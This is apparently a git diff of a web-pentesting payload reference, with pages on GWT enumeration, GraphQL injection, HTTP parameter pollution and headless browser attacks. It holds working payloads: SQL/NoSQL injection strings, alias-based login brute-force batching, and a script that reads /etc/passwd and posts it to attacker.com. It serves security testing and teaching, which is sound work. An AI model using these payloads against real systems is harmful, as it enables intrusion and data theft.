- [Baby^H Master PHP 2017 - Orange Tsai (@orangetw) - Dec 5, 2021](https://github.com/orangetw/My-CTF-Web-Challenges#babyh-master-php-2017)
- [Iconv, set the charset to RCE: exploiting the libc to hack the php engine (part 1) - Charles Fol - May 27, 2024](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)
- [Introducing lightyear: a new way to dump PHP files - Charles Fol - November 4, 2024](https://www.ambionics.io/blog/lightyear-file-dump)
- [Introducing wrapwrap: using PHP filters to wrap a file with a prefix and suffix - Charles Fol - December 11, 2023](https://www.ambionics.io/blog/wrapwrap-php-filters-suffix)
- [It's A PHP Unserialization Vulnerability Jim But Not As We Know It - Sam Thomas - August 10, 2018](https://github.com/s-n-t/presentations/blob/master/us-18-Thomas-It's-A-PHP-Unserialization-Vulnerability-Jim-But-Not-As-We-Know-It.pdf)
- [New PHP Exploitation Technique - Dr. Johannes Dahse - August 14, 2018](https://web.archive.org/web/20180817103621/https://blog.ripstech.com/2018/new-php-exploitation-technique/)
- [OffensiveCon24 - Charles Fol- Iconv, Set the Charset to RCE - June 14, 2024](https://youtu.be/dqKFHjcK9hM)
- [PHP FILTER CHAINS: FILE READ FROM ERROR-BASED ORACLE - Rémi Matasse - March 21, 2023](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html)
- [PHP FILTERS CHAIN: WHAT IS IT AND HOW TO USE IT - Rémi Matasse - October 18, 2022](https://www.synacktiv.com/publications/php-filters-chain-what-is-it-and-how-to-use-it.html)
- [Solving "includer's revenge" from hxp ctf 2021 without controlling any files - @loknop - December 30, 2021](https://gist.github.com/loknop/b27422d355ea1fd0d90d6dbc1e278d4d)

View File

@@ -0,0 +1,64 @@
# Google Web Toolkit
> Google Web Toolkit (GWT), also known as GWT Web Toolkit, is an open-source set of tools that allows web developers to create and maintain JavaScript front-end applications using Java. It was originally developed by Google and had its initial release on May 16, 2006.
## Summary
* [Tools](#tools)
* [Methodology](#methodology)
* [References](#references)
## Tools
* [FSecureLABS/GWTMap](https://github.com/FSecureLABS/GWTMap) - GWTMap is a tool to help map the attack surface of Google Web Toolkit (GWT) based applications.
* [GDSSecurity/GWT-Penetration-Testing-Toolset](https://github.com/GDSSecurity/GWT-Penetration-Testing-Toolset) - A set of tools made to assist in penetration testing GWT applications.
## Methodology
* Enumerate the methods of a remote application via it's bootstrap file and create a local backup of the code (selects permutation at random):
```ps1
./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --backup
```
* Enumerate the methods of a remote application via a specific code permutation
```ps1
./gwtmap.py -u http://10.10.10.10/olympian/C39AB19B83398A76A21E0CD04EC9B14C.cache.js
```
* Enumerate the methods whilst routing traffic through an HTTP proxy:
```ps1
./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --backup -p http://127.0.0.1:8080
```
* Enumerate the methods of a local copy (a file) of any given permutation:
```ps1
./gwtmap.py -F test_data/olympian/C39AB19B83398A76A21E0CD04EC9B14C.cache.js
```
* Filter output to a specific service or method:
```ps1
./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter AuthenticationService.login
```
* Generate RPC payloads for all methods of the filtered service, with coloured output
```ps1
./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter AuthenticationService --rpc --color
```
* Automatically test (probe) the generate RPC request for the filtered service method
```ps1
./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter AuthenticationService.login --rpc --probe
./gwtmap.py -u http://10.10.10.10/olympian/olympian.nocache.js --filter TestService.testDetails --rpc --probe
```
## References
* [From Serialized to Shell :: Exploiting Google Web Toolkit with EL Injection - Stevent Seeley - May 22, 2017](https://srcincite.io/blog/2017/05/22/from-serialized-to-shell-auditing-google-web-toolkit-with-el-injection.html)
* [Hacking a Google Web Toolkit application - thehackerish - April 22, 2021](https://thehackerish.com/hacking-a-google-web-toolkit-application/)

View File

@@ -1,41 +1,65 @@
# GraphQL injection # GraphQL Injection
> GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type > GraphQL is a query language for APIs and a runtime for fulfilling those queries with existing data. A GraphQL service is created by defining types and fields on those types, then providing functions for each field on each type
## Summary ## Summary
* [Tools](#tools) - [Tools](#tools)
* [Exploit](#exploit) - [Enumeration](#enumeration)
* [Identify an injection point](#identify-an-injection-point) - [Common GraphQL Endpoints](#common-graphql-endpoints)
* [Enumerate Database Schema via Instropection](#enumerate-database-schema-via-introspection) - [Identify An Injection Point](#identify-an-injection-point)
* [Extract data](#extract-data) - [Enumerate Database Schema via Introspection](#enumerate-database-schema-via-introspection)
* [Extract data using edges/nodes](#extract-data-using-edges-nodes) - [Enumerate Database Schema via Suggestions](#enumerate-database-schema-via-suggestions)
* [Extract data using projections](#extract-data-using-projections) - [Enumerate Types Definition](#enumerate-types-definition)
* [Enumerate the types' definition](#enumerate-the-type-definition) - [List Path To Reach A Type](#list-path-to-reach-a-type)
* [Use mutations](#use-mutations) - [Methodology](#methodology)
* [NOSQL injection](#nosql-injection) - [Extract Data](#extract-data)
* [SQL injection](#sql-injection) - [Extract Data Using Edges/Nodes](#extract-data-using-edgesnodes)
* [GraphQL Batching Attacks](#graphql-batching-attacks) - [Extract Data Using Projections](#extract-data-using-projections)
* [References](#references) - [Mutations](#mutations)
- [GraphQL Batching Attacks](#graphql-batching-attacks)
- [JSON List Based Batching](#json-list-based-batching)
- [Query Name Based Batching](#query-name-based-batching)
- [Injections](#injections)
- [NOSQL Injection](#nosql-injection)
- [SQL Injection](#sql-injection)
- [Labs](#labs)
- [References](#references)
## Tools ## Tools
* [GraphQLmap - Scripting engine to interact with a graphql endpoint for pentesting purposes](https://github.com/swisskyrepo/GraphQLmap) - [swisskyrepo/GraphQLmap](https://github.com/swisskyrepo/GraphQLmap) - Scripting engine to interact with a graphql endpoint for pentesting purposes
* [GraphQL-voyager - Represent any GraphQL API as an interactive graph](https://apis.guru/graphql-voyager/) - [doyensec/graph-ql](https://github.com/doyensec/graph-ql/) - GraphQL Security Research Material
* [GraphQL Security Toolkit - GraphQL Security Research Material](https://github.com/doyensec/graph-ql/) - [doyensec/inql](https://github.com/doyensec/inql) - A Burp Extension for GraphQL Security Testing
* [Graphql-path-enum - Lists the different ways of reaching a given type in a GraphQL schema](https://gitlab.com/dee-see/graphql-path-enum) - [doyensec/GQLSpection](https://github.com/doyensec/GQLSpection) - GQLSpection - parses GraphQL introspection schema and generates possible queries
* [GraphQL IDE - An extensive IDE for exploring GraphQL API's](https://github.com/andev-software/graphql-ide) - [dee-see/graphql-path-enum](https://gitlab.com/dee-see/graphql-path-enum) - Lists the different ways of reaching a given type in a GraphQL schema
* [ClairvoyanceX - Obtain GraphQL API schema despite disabled introspection](https://github.com/mchoji/clairvoyancex) - [andev-software/graphql-ide](https://github.com/andev-software/graphql-ide) - An extensive IDE for exploring GraphQL API's
* [InQL - A Burp Extension for GraphQL Security Testing](https://github.com/doyensec/inql) - [mchoji/clairvoyancex](https://github.com/mchoji/clairvoyancex) - Obtain GraphQL API schema despite disabled introspection
* [Insomnia - Cross-platform HTTP and GraphQL Client](https://insomnia.rest/) - [nicholasaleks/CrackQL](https://github.com/nicholasaleks/CrackQL) - A GraphQL password brute-force and fuzzing utility
* [AutoGraphql + introspection](https://graphql-dashboard.herokuapp.com/) - [nicholasaleks/graphql-threat-matrix](https://github.com/nicholasaleks/graphql-threat-matrix) - GraphQL threat framework used by security professionals to research security gaps in GraphQL implementations
- [dolevf/graphql-cop](https://github.com/dolevf/graphql-cop) - Security Auditor Utility for GraphQL APIs
- [IvanGoncharov/graphql-voyager](https://github.com/IvanGoncharov/graphql-voyager) - Represent any GraphQL API as an interactive graph
- [Insomnia](https://insomnia.rest/) - Cross-platform HTTP and GraphQL Client
## Exploit ## Enumeration
### Identify an injection point ### Common GraphQL Endpoints
Most of the time the graphql is located on the `/graphql` or `/graphiql` endpoint. Most of the time GraphQL is located at the `/graphql` or `/graphiql` endpoint.
A more complete list is available at [danielmiessler/SecLists/graphql.txt](https://github.com/danielmiessler/SecLists/blob/fe2aa9e7b04b98d94432320d09b5987f39a17de8/Discovery/Web-Content/graphql.txt).
```ps1
/v1/explorer
/v1/graphiql
/graph
/graphql
/graphql/console/
/graphql.php
/graphiql
/graphiql.php
```
### Identify An Injection Point
```js ```js
example.com/graphql?query={__schema{types{name}}} example.com/graphql?query={__schema{types{name}}}
@@ -50,7 +74,6 @@ Check if errors are visible.
?query={thisdefinitelydoesnotexist} ?query={thisdefinitelydoesnotexist}
``` ```
### Enumerate Database Schema via Introspection ### Enumerate Database Schema via Introspection
URL encoded query to dump the database schema. URL encoded query to dump the database schema.
@@ -158,13 +181,37 @@ query IntrospectionQuery {
} }
``` ```
Single line query to dump the database schema without fragments. Single line queries to dump the database schema without fragments.
```js ```js
__schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}} __schema{queryType{name},mutationType{name},types{kind,name,description,fields(includeDeprecated:true){name,description,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},isDeprecated,deprecationReason},inputFields{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue},interfaces{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},enumValues(includeDeprecated:true){name,description,isDeprecated,deprecationReason,},possibleTypes{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}}},directives{name,description,locations,args{name,description,type{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name,ofType{kind,name}}}}}}}},defaultValue}}}
``` ```
### List path ```js
{__schema{queryType{name}mutationType{name}subscriptionType{name}types{...FullType}directives{name description locations args{...InputValue}}}}fragment FullType on __Type{kind name description fields(includeDeprecated:true){name description args{...InputValue}type{...TypeRef}isDeprecated deprecationReason}inputFields{...InputValue}interfaces{...TypeRef}enumValues(includeDeprecated:true){name description isDeprecated deprecationReason}possibleTypes{...TypeRef}}fragment InputValue on __InputValue{name description type{...TypeRef}defaultValue}fragment TypeRef on __Type{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name ofType{kind name}}}}}}}}
```
### Enumerate Database Schema via Suggestions
When you use an unknown keyword, the GraphQL backend will respond with a suggestion related to its schema.
```json
{
"message": "Cannot query field \"one\" on type \"Query\". Did you mean \"node\"?",
}
```
You can also try to bruteforce known keywords, field and type names using wordlists such as [Escape-Technologies/graphql-wordlist](https://github.com/Escape-Technologies/graphql-wordlist) when the schema of a GraphQL API is not accessible.
### Enumerate Types Definition
Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type
```javascript
{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}
```
### List Path To Reach A Type
```php ```php
$ git clone https://gitlab.com/dee-see/graphql-path-enum $ git clone https://gitlab.com/dee-see/graphql-path-enum
@@ -187,7 +234,9 @@ Found 27 ways to reach the "Skill" node from the "Query" node:
- Query (query) -> Query (skills) -> Skill - Query (query) -> Query (skills) -> Skill
``` ```
### Extract data ## Methodology
### Extract Data
```js ```js
example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}} example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
@@ -195,9 +244,7 @@ example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
![HTB Help - GraphQL injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/Images/htb-help.png?raw=true) ![HTB Help - GraphQL injection](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/GraphQL%20Injection/Images/htb-help.png?raw=true)
### Extract Data Using Edges/Nodes
### Extract data using edges/nodes
```json ```json
{ {
@@ -213,24 +260,15 @@ example.com/graphql?query={TYPE_1{FIELD_1,FIELD_2}}
} }
``` ```
### Extract data using projections ### Extract Data Using Projections
:warning: Dont forget to escape the " inside the **options**. :warning: Dont forget to escape the " inside the **options**.
```json ```js
{doctors(options: "{\"patients.ssn\" :1}"){firstName lastName id patients{ssn}}} {doctors(options: "{\"patients.ssn\" :1}"){firstName lastName id patients{ssn}}}
``` ```
### Mutations
### Enumerate the types' definition
Enumerate the definition of interesting types using the following GraphQL query, replacing "User" with the chosen type
```javascript
{__type (name: "User") {name fields{name type{name kind ofType{name kind}}}}}
```
### Use mutations
Mutations work like function, you can use them to interact with the GraphQL. Mutations work like function, you can use them to interact with the GraphQL.
@@ -239,11 +277,65 @@ Mutations work like function, you can use them to interact with the GraphQL.
# mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}} # mutation{addUser(id:"1", name:"Dan Abramov", email:"dan@dan.com") {id name email}}
``` ```
### NOSQL injection ### GraphQL Batching Attacks
Use `$regex`, `$ne` from []() inside a `search` parameter. Common scenario:
- Password Brute-force Amplification Scenario
- Rate Limit bypass
- 2FA bypassing
#### JSON List Based Batching
> Query batching is a feature of GraphQL that allows multiple queries to be sent to the server in a single HTTP request. Instead of sending each query in a separate request, the client can send an array of queries in a single POST request to the GraphQL server. This reduces the number of HTTP requests and can improve the performance of the application.
Query batching works by defining an array of operations in the request body. Each operation can have its own query, variables, and operation name. The server processes each operation in the array and returns an array of responses, one for each query in the batch.
```json ```json
[
{
"query":"..."
},{
"query":"..."
}
,{
"query":"..."
}
,{
"query":"..."
}
...
]
```
#### Query Name Based Batching
```json
{
"query": "query { qname: Query { field1 } qname1: Query { field1 } }"
}
```
Send the same mutation several times using aliases
```js
mutation {
login(pass: 1111, username: "bob")
second: login(pass: 2222, username: "bob")
third: login(pass: 3333, username: "bob")
fourth: login(pass: 4444, username: "bob")
}
```
## Injections
> SQL and NoSQL Injections are still possible since GraphQL is just a layer between the client and the database.
### NOSQL Injection
Use `$regex` inside a `search` parameter.
```js
{ {
doctors( doctors(
options: "{\"limit\": 1, \"patients.ssn\" :1}", options: "{\"limit\": 1, \"patients.ssn\" :1}",
@@ -254,12 +346,11 @@ Use `$regex`, `$ne` from []() inside a `search` parameter.
} }
``` ```
### SQL Injection
### SQL injection
Send a single quote `'` inside a graphql parameter to trigger the SQL injection Send a single quote `'` inside a graphql parameter to trigger the SQL injection
```powershell ```js
{ {
bacon(id: "1'") { bacon(id: "1'") {
id, id,
@@ -275,52 +366,35 @@ Simple SQL injection inside a graphql field.
curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27 curl -X POST http://localhost:8080/graphql\?embedded_submission_form_uuid\=1%27%3BSELECT%201%3BSELECT%20pg_sleep\(30\)%3B--%27
``` ```
### GraphQL Batching Attacks ## Labs
Common scenario:
* Password Brute-force Amplification Scenario
* 2FA bypassing
```powershell
mutation finishChannelVerificationMutation(
$input FinishChannelVerificationInput!,
$input2 FinishChannelVerificationInput!,
$input3 FinishChannelVerificationInput!,
){
first: finishChannelVerificationMutation(input: $input){
channel{
id
option{
... onChannelSmsOptions{
number
}
}
status
notificationSubscription(last: 1000){ etc... }
}
}
second: finishChannelVerificationMutation(input: $input2){...}
third: finishChannelVerificationMutation(input: $input3){...}
}
```
- [PortSwigger - Accessing private GraphQL posts](https://portswigger.net/web-security/graphql/lab-graphql-reading-private-posts)
- [PortSwigger - Accidental exposure of private GraphQL fields](https://portswigger.net/web-security/graphql/lab-graphql-accidental-field-exposure)
- [PortSwigger - Finding a hidden GraphQL endpoint](https://portswigger.net/web-security/graphql/lab-graphql-find-the-endpoint)
- [PortSwigger - Bypassing GraphQL brute force protections](https://portswigger.net/web-security/graphql/lab-graphql-brute-force-protection-bypass)
- [PortSwigger - Performing CSRF exploits over GraphQL](https://portswigger.net/web-security/graphql/lab-graphql-csrf-via-graphql-api)
- [Root Me - GraphQL - Introspection](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Introspection)
- [Root Me - GraphQL - Injection](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Injection)
- [Root Me - GraphQL - Backend injection](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Backend-injection)
- [Root Me - GraphQL - Mutation](https://www.root-me.org/fr/Challenges/Web-Serveur/GraphQL-Mutation)
## References ## References
* [Introduction to GraphQL](https://graphql.org/learn/) - [Building a free open source GraphQL wordlist for penetration testing - Nohé Hinniger-Foray - August 17, 2023](https://escape.tech/blog/graphql-security-wordlist/)
* [GraphQL Introspection](https://graphql.org/learn/introspection/) - [Exploiting GraphQL - AssetNote - Shubham Shah - August 29, 2021](https://blog.assetnote.io/2021/08/29/exploiting-graphql/)
* [API Hacking GraphQL - @ghostlulz - jun 8, 2019](https://medium.com/@ghostlulzhacks/api-hacking-graphql-7b2866ba1cf2) - [GraphQL Batching Attack - Wallarm - December 13, 2019](https://lab.wallarm.com/graphql-batching-attack/)
* [GraphQL abuse: Bypass account level permissions through parameter smuggling - March 14, 2018 - @Detectify](https://labs.detectify.com/2018/03/14/graphql-abuse/) - [GraphQL for Pentesters presentation - Alexandre ZANNI (@noraj) - December 1, 2022](https://acceis.github.io/prez-graphql/)
* [Discovering GraphQL endpoints and SQLi vulnerabilities - Sep 23, 2018 - Matías Choren](https://medium.com/@localh0t/discovering-graphql-endpoints-and-sqli-vulnerabilities-5d39f26cea2e) - [API Hacking GraphQL - @ghostlulz - Jun 8, 2019](https://medium.com/@ghostlulzhacks/api-hacking-graphql-7b2866ba1cf2)
* [Securing Your GraphQL API from Malicious Queries - Feb 21, 2018 - Max Stoiber](https://blog.apollographql.com/securing-your-graphql-api-from-malicious-queries-16130a324a6b) - [Discovering GraphQL endpoints and SQLi vulnerabilities - Matías Choren - Sep 23, 2018](https://medium.com/@localh0t/discovering-graphql-endpoints-and-sqli-vulnerabilities-5d39f26cea2e)
* [GraphQL NoSQL Injection Through JSON Types - June 12, 2017 - Pete Corey](http://www.petecorey.com/blog/2017/06/12/graphql-nosql-injection-through-json-types/) - [GraphQL abuse: Bypass account level permissions through parameter smuggling - Jon Bottarini - March 14, 2018](https://labs.detectify.com/2018/03/14/graphql-abuse/)
* [SQL injection in GraphQL endpoint through embedded_submission_form_uuid parameter - Nov 6th 2018 - @jobert](https://hackerone.com/reports/435066) - [Graphql Bug to Steal Anyone's Address - Pratik Yadav - Sept 1, 2019](https://medium.com/@pratiky054/graphql-bug-to-steal-anyones-address-fc34f0374417)
* [Looting GraphQL Endpoints for Fun and Profit - @theRaz0r](https://raz0r.name/articles/looting-graphql-endpoints-for-fun-and-profit/) - [GraphQL cheatsheet - devhints.io - November 7, 2018](https://devhints.io/graphql)
* [How to set up a GraphQL Server using Node.js, Express & MongoDB - 5 NOVEMBER 2018 - Leonardo Maldonado](https://www.freecodecamp.org/news/how-to-set-up-a-graphql-server-using-node-js-express-mongodb-52421b73f474/) - [GraphQL Introspection - GraphQL - August 21, 2024](https://graphql.org/learn/introspection/)
* [GraphQL cheatsheet - DEVHINTS.IO](https://devhints.io/graphql) - [GraphQL NoSQL Injection Through JSON Types - Pete Corey - June 12, 2017](http://www.petecorey.com/blog/2017/06/12/graphql-nosql-injection-through-json-types/)
* [HIP19 Writeup - Meet Your Doctor 1,2,3 - June 22, 2019 - Swissky](https://swisskyrepo.github.io/HIP19-MeetYourDoctor/) - [HIP19 Writeup - Meet Your Doctor 1,2,3 - Swissky - June 22, 2019](https://swisskyrepo.github.io/HIP19-MeetYourDoctor/)
* [Introspection query leaks sensitive graphql system information - @Zuriel](https://hackerone.com/reports/291531) - [How to set up a GraphQL Server using Node.js, Express & MongoDB - Leonardo Maldonado - 5 November 2018](https://www.freecodecamp.org/news/how-to-set-up-a-graphql-server-using-node-js-express-mongodb-52421b73f474/)
* [Graphql Bug to Steal Anyones Address - Sept 1, 2019 - Pratik Yadav](https://medium.com/@pratiky054/graphql-bug-to-steal-anyones-address-fc34f0374417) - [Introduction to GraphQL - GraphQL - November 1, 2024](https://graphql.org/learn/)
* [GraphQL Batching Attack - RENATAWALLARM - DECEMBER 13, 2019](https://lab.wallarm.com/graphql-batching-attack/) - [Introspection query leaks sensitive graphql system information - @Zuriel - November 18, 2017](https://hackerone.com/reports/291531)
- [Looting GraphQL Endpoints for Fun and Profit - @theRaz0r - 8 June 2017](https://raz0r.name/articles/looting-graphql-endpoints-for-fun-and-profit/)
- [Securing Your GraphQL API from Malicious Queries - Max Stoiber - Feb 21, 2018](https://web.archive.org/web/20180731231915/https://blog.apollographql.com/securing-your-graphql-api-from-malicious-queries-16130a324a6b)
- [SQL injection in GraphQL endpoint through embedded_submission_form_uuid parameter - Jobert Abma (jobert) - Nov 6th 2018](https://hackerone.com/reports/435066)

View File

@@ -1,49 +1,100 @@
# HTTP Parameter Pollution # HTTP Parameter Pollution
> HTTP Parameter Pollution (HPP) is a Web attack evasion technique that allows an attacker to craft a HTTP request in order to manipulate web logics or retrieve hidden information. This evasion technique is based on splitting an attack vector between multiple instances of a parameter with the same name (?param1=value&param1=value). As there is no formal way of parsing HTTP parameters, individual web technologies have their own unique way of parsing and reading URL parameters with the same name. Some taking the first occurrence, some taking the last occurrence, and some reading it as an array. This behavior is abused by the attacker in order to bypass pattern-based security mechanisms.
## Summary ## Summary
HTTP Parameter Pollution (HPP) is a Web attack evasion technique that allows an attacker to craft a HTTP request in order to manipulate web logics or retrieve hidden information. This evasion technique is based on splitting an attack vector between multiple instances of a parameter with the same name (?param1=value&param1=value). As there is no formal way of parsing HTTP parameters, individual web technologies have their own unique way of parsing and reading URL parameters with the same name. Some taking the first occurance, some taking the last occurance, and some reading it as an array. This behavior is abused by the attacker in order to bypass pattern-based security mechanisms. * [Tools](#tools)
* [Methodology](#methodology)
* [Parameter Pollution Table](#parameter-pollution-table)
* [Parameter Pollution Payloads](#parameter-pollution-payloads)
* [References](#references)
## Tools ## Tools
No tools needed. Maybe Burp or OWASP ZAP. * **Burp Suite**: Manually modify requests to test duplicate parameters.
* **OWASP ZAP**: Intercept and manipulate HTTP parameters.
## How to test ## Methodology
HPP allows an attacker to bypass pattern based/black list proxies or Web Application Firewall detection mechanisms. This can be done with or without the knowledge of the web technology behind the proxy, and can be achieved through simple trial and error. HTTP Parameter Pollution (HPP) is a web security vulnerability where an attacker injects multiple instances of the same HTTP parameter into a request. The server's behavior when processing duplicate parameters can vary, potentially leading to unexpected or exploitable behavior.
``` HPP can target two levels:
Example scenario.
WAF - Reads first param
Origin Service - Reads second param. In this scenario, developer trusted WAF and did not implement sanity checks.
Attacker -- http://example.com?search=Beth&search=' OR 1=1;## --> WAF (reads first 'search' param, looks innocent. passes on) --> Origin Service (reads second 'search' param, injection happens if no checks are done here.) * Client-Side HPP: Exploits JavaScript code running on the client (browser).
* Server-Side HPP: Exploits how the server processes multiple parameters with the same name.
**Examples**:
```ps1
/app?debug=false&debug=true
/transfer?amount=1&amount=5000
``` ```
### Table of refence for which technology reads which parameter ### Parameter Pollution Table
When ?par1=a&par1=b When ?par1=a&par1=b
| Technology | Parsing Result |outcome (par1=)|
| ------------------ |--------------- |:-------------:| | Technology | Parsing Result | outcome (par1=) |
| ASP.NET/IIS |All occurrences |a,b | | ----------------------------------------------- | ------------------------ | --------------- |
| ASP/IIS |All occurrences |a,b | | ASP.NET/IIS | All occurrences | a,b |
| PHP/Apache |Last occurrence |b | | ASP/IIS | All occurrences | a,b |
| PHP/Zues |Last occurrence |b | | Golang net/http - `r.URL.Query().Get("param")` | First occurrence | a |
| JSP,Servlet/Tomcat |First occurrence |a | | Golang net/http - `r.URL.Query()["param"]` | All occurrences in array | ['a','b'] |
| Perl CGI/Apache |First occurrence |a | | IBM HTTP Server | First occurrence | a |
| Python Flask |First occurrence |a | | IBM Lotus Domino | First occurrence | a |
| Python Django |Last occurrence |b | | JSP,Servlet/Tomcat | First occurrence | a |
| Nodejs |All occurrences |a,b | | mod_wsgi (Python)/Apache | First occurrence | a |
| Golang net/http - `r.URL.Query().Get("param")` |First occurrence |a | | Nodejs | All occurrences | a,b |
| Golang net/http - `r.URL.Query()["param"]` |All occurrences |a,b | | Perl CGI/Apache | First occurrence | a |
| IBM Lotus Domino |First occurrence |a | | Perl CGI/Apache | First occurrence | a |
| IBM HTTP Server |First occurrence |a | | PHP/Apache | Last occurrence | b |
| Perl CGI/Apache |First occurrence |a | | PHP/Zues | Last occurrence | b |
| mod_wsgi (Python)/Apache |First occurrence |a | | Python Django | Last occurrence | b |
| Python/Zope |All occurences in array |['a','b'] | | Python Flask | First occurrence | a |
| Python/Zope | All occurrences in array | ['a','b'] |
| Ruby on Rails | Last occurrence | b |
### Parameter Pollution Payloads
* Duplicate Parameters:
```ps1
param=value1&param=value2
```
* Array Injection:
```ps1
param[]=value1
param[]=value1&param[]=value2
param[]=value1&param=value2
param=value1&param[]=value2
```
* Encoded Injection:
```ps1
param=value1%26other=value2
```
* Nested Injection:
```ps1
param[key1]=value1&param[key2]=value2
```
* JSON Injection:
```ps1
{
"test": "user",
"test": "admin"
}
```
## References ## References
- [HTTP Parameter Pollution - Imperva](https://www.imperva.com/learn/application-security/http-parameter-pollution/)
- [HTTP Parameter Pollution in 11 minutes | Web Hacking - PwnFunction](https://www.youtube.com/watch?v=QVZBl8yxVX0&ab_channel=PwnFunction) * [How to Detect HTTP Parameter Pollution Attacks - Acunetix - January 9, 2024](https://www.acunetix.com/blog/whitepaper-http-parameter-pollution/)
- [How to Detect HTTP Parameter Pollution Attacks - Acunetix](https://www.acunetix.com/blog/whitepaper-http-parameter-pollution/) * [HTTP Parameter Pollution - Itamar Verta - December 20, 2023](https://www.imperva.com/learn/application-security/http-parameter-pollution/)
* [HTTP Parameter Pollution in 11 minutes - PwnFunction - January 28, 2019](https://www.youtube.com/watch?v=QVZBl8yxVX0&ab_channel=PwnFunction)

192
Headless Browser/README.md Normal file
View File

@@ -0,0 +1,192 @@
# Headless Browser
> A headless browser is a web browser without a graphical user interface. It works just like a regular browser, such as Chrome or Firefox, by interpreting HTML, CSS, and JavaScript, but it does so in the background, without displaying any visuals.
> Headless browsers are primarily used for automated tasks, such as web scraping, testing, and running scripts. They are particularly useful in situations where a full-fledged browser is not needed, or where resources (like memory or CPU) are limited.
## Summary
* [Headless Commands](#headless-commands)
* [Local File Read](#local-file-read)
* [Remote Debugging Port](#remote-debugging-port)
* [Network](#network)
* [Port Scanning](#port-scanning)
* [DNS Rebinding](#dns-rebinding)
* [CVE](#cve)
* [References](#references)
## Headless Commands
Example of headless browsers commands:
* Google Chrome
```ps1
google-chrome --headless[=(new|old)] --print-to-pdf https://www.google.com
```
* Mozilla Firefox
```ps1
firefox --screenshot https://www.google.com
```
* Microsoft Edge
```ps1
"C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --headless --disable-gpu --window-size=1280,720 --screenshot="C:\tmp\screen.png" "https://google.com"
```
## Local File Read
### Insecure Flags
If the target is launched with the `--allow-file-access` option
```ps1
google-chrome-stable --disable-gpu --headless=new --no-sandbox --no-first-run --disable-web-security -allow-file-access-from-files --allow-file-access --allow-cross-origin-auth-prompt --user-data-dir
```
Since the file access is allowed, an atacker can create and expose an HTML file which captures the content of the `/etc/passwd` file.
```js
<script>
async function getFlag(){
response = await fetch("file:///etc/passwd");
flag = await response.text();
fetch("https://attacker.com/", { method: "POST", body: flag})
};
getFlag();
</script>
```
### PDF Rendering
Consider a scenario where a headless browser captures a copy of a webpage and exports it to PDF, while the attacker has control over the URL being processed.
Target: `google-chrome-stable --headless[=(new|old)] --print-to-pdf https://site/file.html`
* Javascript Redirect
```html
<html>
<body>
<script>
window.location="/etc/passwd"
</script>
</body>
</html>
```
* Iframe
```html
<html>
<body>
<iframe src="/etc/passwd" height="640" width="640"></iframe>
</body>
</html>
```
## Remote Debugging Port
The Remote Debugging Port in a headless browser (like Headless Chrome or Chromium) is a TCP port that exposes the browsers DevTools Protocol so external tools (or scripts) can connect and control the browser remotely. It usually listen on port **9222** but it can be changed with `--remote-debugging-port=`.
**Target**: `google-chrome-stable --headless=new --remote-debugging-port=XXXX ./index.html`
**Tools**:
